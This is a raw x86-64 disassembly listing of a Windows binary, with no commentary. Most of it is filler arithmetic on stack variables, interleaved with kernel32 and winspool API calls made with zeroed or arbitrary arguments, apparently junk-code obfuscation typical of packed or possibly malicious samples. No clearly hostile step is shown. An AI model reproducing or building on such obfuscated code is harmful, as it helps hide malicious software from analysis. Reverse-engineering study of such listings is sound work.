mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x10310]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [0x1402113b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x56f]
sub eax, ecx
mov byte [rsp + 0x570], al
movsx eax, byte [rsp + 0x573]
movsx ecx, byte [0x140211038]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x103a8], rax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8040], eax
movzx eax, word [rsp + 0x1f28]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14021139c], ax
movsx eax, word [rsp + 0x291c]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2920], ax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0xc0]
xor eax, ecx
mov byte [rsp + 0x18b], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov ecx, ILRemoveLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8014], eax
movsx eax, word [rsp + 0x28e4]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x28dc], ax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
and eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x787c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x103a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10400]
mov qword [rcx], rax
cmp dword [rsp + 0x8030], 0x9cb0
ja 0x14001c804
mov eax, dword [rsp + 0x8040]
mov dword [rsp + 0x8074], eax
cmp dword [rsp + 0x8074], 0x160e
je 0x14001cbd1
cmp dword [rsp + 0x8074], 0x1da1
je 0x14001cbdb
jmp 0x14001cca2
call fcn.1401f4c40
jmp 0x14001cca2
lea r9, [rsp + 0x102e0]
mov r8d, 0x8c
mov rdx, qword [rsp + 0x10418]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x7fd4], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7fb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10218], rax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [0x140221da0]
sub eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x20], ILGetNext
lea r9, [rsp + 0x10400]
mov r8d, reloc.SHELL32.dll_ILGetSize
mov rdx, qword [rsp + 0x10428]
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x7f8c], eax
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d1c], ax
lea rax, [rsp + 0x572]
mov qword [rsp + 0x10438], rax
lea rax, [rsp + 0xe6b8]
mov qword [rsp + 0x10440], rax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x103a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10448], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov dword [rsp + 0x8078], eax
cmp dword [rsp + 0x7f78], 0xfa81
jb 0x14001d139
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f8c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
movsx eax, word [rsp + 0x291c]
movsx ecx, word [rsp + 0x1d1c]
shl eax, cl
mov word [rsp + 0x2910], ax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x28fc]
or eax, ecx
mov word [0x14021139c], ax
movzx eax, byte [rsp + 0x574]
movzx ecx, byte [rsp + 0x2ff]
sar eax, cl
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x102a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
add eax, ecx
mov byte [rsp + 0x56f], al
lea rcx, [rsp + 0x24fd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, ILRemoveLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [0x140211394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10228]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x103a8], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x291c], ax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14021139c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5903
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd2f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movsx eax, byte [rsp + 0x573]
movsx ecx, byte [0x140211039]
sub eax, ecx
mov byte [rsp + 0x1c3], al
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x1b14]
shl eax, cl
mov word [rsp + 0x2900], ax
movzx eax, word [rsp + 0x1f28]
movzx ecx, word [rsp + 0x2914]
sar eax, cl
mov word [rsp + 0x290c], ax
mov eax, dword [rsp + 0x7fb8]
mov ecx, dword [rsp + 0x7f4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rsp + 0x8078]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x10408]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10228], rax
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x102f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2914]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140211390], ax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [rsp + 0xc0], al
movsx eax, word [rsp + 0x1d1c]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2910], ax
lea rdx, [rsp + 0x10450]
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8010], eax
mov eax, dword [rsp + 0x7f78]
sub eax, 0x9d
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [0x1402113b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x10218]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8078], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x806c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x103a8], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x290c], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
sar eax, cl
mov rcx, qword [0x140221d98]
mov byte [rcx], al
jmp 0x14001cd33
movsx eax, byte [0x140211039]
movsx ecx, byte [rsp + 0x572]
shl eax, cl
mov byte [rsp + 0x56e], al
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0x56d]
xor eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x2708]
movzx edx, word [rsp + 0x14c4]
sub ecx, edx
cmp eax, ecx
jge 0x14001d22c
mov eax, dword [rsp + 0x7fcc]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x101d0]
mov r9d, dword [rax]
mov r8d, dword [0x140211398]
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rax]
call fcn.1401f4d80
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xdac0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x787c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov dword [rsp + 0x807c], eax
cmp dword [rsp + 0x807c], 0
je 0x14001d375
cmp dword [rsp + 0x807c], 0x409
je 0x14001d298
jmp 0x1401f4391
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x103b0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x7d50]
mov edx, dword [rsp + 0x7f70]
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rax]
call fcn.1401f4cc0
mov rax, qword [rsp + 0xd638]
mov rcx, qword [0x1402113b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x102f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [0x14021139c]
shl eax, cl
mov word [rsp + 0x2914], ax
movsx eax, word [rsp + 0x28dc]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x10258]
movzx r9d, word [rax]
movzx r8d, word [0x1402113b8]
movzx edx, word [rsp + 0x2920]
movzx ecx, word [rsp + 0x2908]
call fcn.1401f4d00
jmp 0x1401f4391
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x103a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10408], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x2708]
movzx edx, word [rsp + 0x28d8]
add ecx, edx
cmp eax, ecx
je 0x14001d4e8
lea rax, [rsp + 0x10400]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xea
lea rax, [rsp + 0x10360]
mov qword [rsp + 0x20], rax
mov r9d, 0x89
mov r8d, 0xeb
mov edx, ILCreateFromPathW
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x7fd4], eax
mov eax, dword [rsp + 0x7f70]
mov ecx, dword [rsp + 0x8050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x787c], eax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c3], al
movsx eax, word [rsp + 0x2920]
movsx ecx, word [rsp + 0x1d1c]
sub eax, ecx
mov word [rsp + 0x2904], ax
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14021139c], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x571], al
mov dword [rsp + 0x20], 0x8b
lea r9, [rsp + 0x7fb4]
mov r8d, 0x77
mov rdx, qword [rsp + 0x10458]
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov qword [rsp + 0x10460], rax
lea rcx, [rsp + 0x24fd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [0x1402113a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7fb8]
mov ecx, dword [rsp + 0x7f54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
lea rdx, [rsp + 0x10300]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8050]
sar eax, cl
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov byte [rsp + 0x575], al
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2900]
or eax, ecx
mov word [rsp + 0x28f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
shl eax, cl
mov word [0x1402113bc], ax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov dword [rsp + 0x8084], eax
cmp dword [rsp + 0x8084], 0x4ccd
je 0x14001d60f
jmp 0x14001d647
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x1d1c]
and eax, ecx
mov word [rsp + 0x2908], ax
mov eax, dword [rsp + 0x8080]
mov ecx, dword [rsp + 0x806c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
jmp 0x1401f4316
mov rax, qword [0x1402113a0]
mov qword [rsp + 0x10468], rax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x572], al
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x571]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402113b8], ax
movzx eax, byte [0x140221da0]
movzx ecx, byte [rsp + 0x575]
add eax, ecx
mov byte [rsp + 0x183], al
movzx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28f0], ax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x290c], ax
mov eax, dword [rsp + 0x8040]
movzx ecx, al
mov eax, dword [rsp + 0x8050]
shl eax, cl
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x10468]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10400]
mov qword [rcx], rax
mov eax, dword [rsp + 0x8058]
add eax, 0x24
mov dword [rsp + 0x8058], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x803c], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c4]
sar eax, cl
mov word [rsp + 0x290c], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x291c], ax
cmp dword [rsp + 0x8058], 0xfbf8
jne 0x14001d675
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x10470], rax
cmp dword [rsp + 0x8064], 0x3753
je 0x14001db06
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [0x140221d90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x102a0]
mov rcx, qword [rsp + 0x10348]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0xe6b8]
mov rcx, qword [rsp + 0x10348]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2918], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2920], ax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c3]
add eax, ecx
mov byte [rsp + 0x56c], al
lea rdx, [rsp + 0x26640]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7fc0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x955c
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d50], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x8080]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a90], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x10408]
mov rcx, qword [0x1402113a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10468], rax
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x28d8]
shl eax, cl
mov word [0x1402113bc], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x103d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x8064]
add eax, 0x65
mov dword [rsp + 0x8064], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2914], ax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x6a90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x103a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rsp + 0x7d50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x103b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c4]
sub eax, ecx
mov word [0x14021139c], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8070], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
jmp 0x14001d808
cmp dword [rsp + 0x7ff4], 0xa722
je 0x14001ddad
movsx eax, word [rsp + 0x28e4]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
movsx eax, byte [rsp + 0x56e]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x572], al
mov rax, qword [0x1402113b0]
mov rcx, qword [rsp + 0x10440]
mov qword [rsp + 0x10478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10478]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10348], rax
mov eax, dword [rsp + 0x787c]
mov rcx, qword [rsp + 0x101d0]
mov qword [rsp + 0x10480], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10480]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8040], eax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2920], ax
lea rdx, [rsp + 0x26678]
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2694]
add eax, ecx
mov word [rsp + 0x2914], ax
movzx ecx, word [rsp + 0x2918]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x10218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10460], rax
movzx eax, byte [rsp + 0x2ff]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x575], al
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10408]
mov rcx, qword [rsp + 0x10228]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7ff4]
add eax, 0x40
mov dword [rsp + 0x7ff4], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8070], eax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x805c], eax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [0x140221d88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdb4d
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fdc], eax
jmp 0x14001db06
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [0x140221d84]
or eax, ecx
mov word [0x1402113c0], ax
mov eax, dword [rsp + 0x7f8c]
mov dword [rsp + 0x8088], eax
cmp dword [rsp + 0x8088], 0
je 0x14001de16
cmp dword [rsp + 0x8088], 0xa194
je 0x14001deaf
jmp 0x14001df0e
mov rax, qword [rsp + 0xcf70]
